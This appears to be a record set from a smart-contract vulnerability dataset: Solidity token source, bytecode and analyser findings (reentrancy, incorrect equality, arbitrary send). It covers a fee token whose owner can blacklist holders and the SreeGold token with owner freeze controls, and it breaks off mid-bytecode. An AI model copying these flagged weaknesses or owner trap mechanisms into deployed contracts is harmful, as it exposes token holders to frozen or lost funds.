false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (5 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15, "not larger than 15%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103fd578063cf0848f714610412578063cf9d4afa14610432578063dd62ed3e14610452578063e6ec64ec14610498578063f2fde38b146104b857600080fd5b8063715018a6146103315780638da5cb5b1461034657806390d49b9d1461036e57806395d89b411461038e578063a9059cbb146103bd578063b515566a146103dd57600080fd5b806331c2d8471161010857806331c2d8471461024a5780633bbac5791461026a578063437823ec146102a3578063476343ee146102c35780635342acb4146102d857806370a082311461031157600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101c157806318160ddd146101f157806323b872dd14610216578063313ce5671461023657600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d8565b005b34801561017e57600080fd5b5060408051808201909152601481527344616e6b6520446575747363682d6c616e64212160601b60208201525b6040516101b891906118f8565b60405180910390f35b3480156101cd57600080fd5b506101e16101dc366004611972565b610524565b60405190151581526020016101b8565b3480156101fd57600080fd5b50678ac7230489e800005b6040519081526020016101b8565b34801561022257600080fd5b506101e161023136600461199e565b61053b565b34801561024257600080fd5b506009610208565b34801561025657600080fd5b506101706102653660046119f5565b6105a4565b34801561027657600080fd5b506101e1610285366004611aba565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102af57600080fd5b506101706102be366004611aba565b61063a565b3480156102cf57600080fd5b50610170610688565b3480156102e457600080fd5b506101e16102f3366004611aba565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031d57600080fd5b5061020861032c366004611aba565b6106c2565b34801561033d57600080fd5b506101706106e4565b34801561035257600080fd5b506000546040516001600160a01b0390911681526020016101b8565b34801561037a57600080fd5b50610170610389366004611aba565b61071a565b34801561039a57600080fd5b5060408051808201909152600681526511111310539160d21b60208201526101ab565b3480156103c957600080fd5b506101e16103d8366004611972565b610794565b3480156103e957600080fd5b506101706103f83660046119f5565b6107a1565b34801561040957600080fd5b506101706108ba565b34801561041e57600080fd5b5061017061042d366004611aba565b610972565b34801561043e57600080fd5b5061017061044d366004611aba565b6109bd565b34801561045e57600080fd5b5061020861046d366004611ad7565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104a457600080fd5b506101706104b3366004611b10565b610c18565b3480156104c457600080fd5b506101706104d3366004611aba565b610c8e565b6000546001600160a01b0316331461050b5760405162461bcd60e51b815260040161050290611b29565b60405180910390fd5b6000610516306106c2565b905061052181610d26565b50565b6000610531338484610ea0565b5060015b92915050565b6000610548848484610fc4565b61059a843361059585604051806060016040528060288152602001611ca2602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113de565b610ea0565b5060019392505050565b6000546001600160a01b031633146105ce5760405162461bcd60e51b815260040161050290611b29565b60005b8151811015610636576000600560008484815181106105f2576105f2611b5e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062e81611b8a565b9150506105d1565b5050565b6000546001600160a01b031633146106645760405162461bcd60e51b815260040161050290611b29565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610636573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461053590611418565b6000546001600160a01b0316331461070e5760405162461bcd60e51b815260040161050290611b29565b610718600061149c565b565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161050290611b29565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610531338484610fc4565b6000546001600160a01b031633146107cb5760405162461bcd60e51b815260040161050290611b29565b60005b815181101561063657600c5482516001600160a01b03909116908390839081106107fa576107fa611b5e565b60200260200101516001600160a01b03161415801561084b5750600b5482516001600160a01b039091169083908390811061083757610837611b5e565b60200260200101516001600160a01b031614155b156108a85760016005600084848151811061086857610868611b5e565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108b281611b8a565b9150506107ce565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161050290611b29565b600c54600160a01b900460ff166109485760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b6064820152608401610502565b600c805460ff60b81b1916600160b81b17905542600d81905561096d9061012c611ba3565b600e55565b6000546001600160a01b0316331461099c5760405162461bcd60e51b815260040161050290611b29565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e75760405162461bcd60e51b815260040161050290611b29565b600c54600160a01b900460ff1615610a4f5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610502565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aca9190611bbb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3b9190611bbb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bac9190611bbb565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c425760405162461bcd60e51b815260040161050290611b29565b600f811115610c895760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b6044820152606401610502565b600855565b6000546001600160a01b03163314610cb85760405162461bcd60e51b815260040161050290611b29565b6001600160a01b038116610d1d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610502565b6105218161149c565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6e57610d6e611b5e565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610deb9190611bbb565b81600181518110610dfe57610dfe611b5e565b6001600160a01b039283166020918202929092010152600b54610e249130911684610ea0565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5d908590600090869030904290600401611bd8565b600060405180830381600087803b158015610e7757600080fd5b505af1158015610e8b573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610f025760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610502565b6001600160a01b038216610f635760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610502565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610502565b6001600160a01b03821661108a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610502565b600081116110ec5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610502565b6001600160a01b03831660009081526005602052604090205460ff16156111945760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610502565b6001600160a01b03831660009081526004602052604081205460ff161580156111d657506001600160a01b03831660009081526004602052604090205460ff16155b80156111ec5750600c54600160a81b900460ff16155b801561121c5750600c546001600160a01b038581169116148061121c5750600c546001600160a01b038481169116145b156113cc57600c54600160b81b900460ff1661127a5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610502565b50600c546001906001600160a01b0385811691161480156112a95750600b546001600160a01b03848116911614155b80156112b6575042600e54115b156112fd5760006112c6846106c2565b90506112e660646112e0678ac7230489e8000060026114ec565b9061156e565b6112f084836115b0565b11156112fb57600080fd5b505b600d54420361132a576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611335306106c2565b600c54909150600160b01b900460ff161580156113605750600c546001600160a01b03868116911614155b156113ca5780156113ca57600c54611394906064906112e090600f9061138e906001600160a01b03166106c2565b906114ec565b8111156113c157600c546113be906064906112e090600f9061138e906001600160a01b03166106c2565b90505b6113ca81610d26565b505b6113d88484848461160f565b50505050565b600081848411156114025760405162461bcd60e51b815260040161050291906118f8565b50600061140f8486611c49565b95945050505050565b600060065482111561147f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610502565b6000611489611712565b9050611495838261156e565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826000036114fe57506000610535565b600061150a8385611c60565b9050826115178583611c7f565b146114955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610502565b600061149583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611735565b6000806115bd8385611ba3565b9050838110156114955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610502565b808061161d5761161d611763565b60008060008061162c8761177f565b6001600160a01b038d166000908152600160205260409020549397509195509350915061165990856117c6565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461168890846115b0565b6001600160a01b0389166000908152600160205260409020556116aa81611808565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116ef91815260200190565b60405180910390a3505050508061170b5761170b600954600855565b5050505050565b600080600061171f611852565b909250905061172e828261156e565b9250505090565b600081836117565760405162461bcd60e51b815260040161050291906118f8565b50600061140f8486611c7f565b60006008541161177257600080fd5b6008805460095560009055565b60008060008060008061179487600854611892565b9150915060006117a2611712565b90506000806117b28a85856118bf565b909b909a5094985092965092945050505050565b600061149583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113de565b6000611812611712565b9050600061182083836114ec565b3060009081526001602052604090205490915061183d90826115b0565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061186d828261156e565b82101561188957505060065492678ac7230489e8000092509050565b90939092509050565b600080806118a560646112e087876114ec565b905060006118b386836117c6565b96919550909350505050565b600080806118cd86856114ec565b905060006118db86866114ec565b905060006118e983836117c6565b92989297509195505050505050565b600060208083528351808285015260005b8181101561192557858101830151858201604001528201611909565b81811115611937576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052157600080fd5b803561196d8161194d565b919050565b6000806040838503121561198557600080fd5b82356119908161194d565b946020939093013593505050565b6000806000606084860312156119b357600080fd5b83356119be8161194d565b925060208401356119ce8161194d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a0857600080fd5b823567ffffffffffffffff80821115611a2057600080fd5b818501915085601f830112611a3457600080fd5b813581811115611a4657611a466119df565b8060051b604051601f19603f83011681018181108582111715611a6b57611a6b6119df565b604052918252848201925083810185019188831115611a8957600080fd5b938501935b82851015611aae57611a9f85611962565b84529385019392850192611a8e565b98975050505050505050565b600060208284031215611acc57600080fd5b81356114958161194d565b60008060408385031215611aea57600080fd5b8235611af58161194d565b91506020830135611b058161194d565b809150509250929050565b600060208284031215611b2257600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b9c57611b9c611b74565b5060010190565b60008219821115611bb657611bb6611b74565b500190565b600060208284031215611bcd57600080fd5b81516114958161194d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c285784516001600160a01b031683529383019391830191600101611c03565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c5b57611c5b611b74565b500390565b6000816000190483118215151615611c7a57611c7a611b74565b500290565b600082611c9c57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ed09b572b32dd52881d61a728993955f6927f589c81e957246cdd8e8b11375e564736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,491
0x0bbe475e18aca9c34026efe5393c90ac08c23183
pragma solidity ^0.4.23; /* * Creator: SRG (SreeGold Token) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * SreeGold token smart contract. */ contract SRGToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 300000000 * (10**18); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function SRGToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "SreeGold"; string constant public symbol = "SRG"; uint8 constant public decimals = 18; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address emit Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae3565b005b34801561043c57600080fd5b50610445610d03565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d3c565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc8565b6040518082815260200191505060405180910390f35b3480156105a85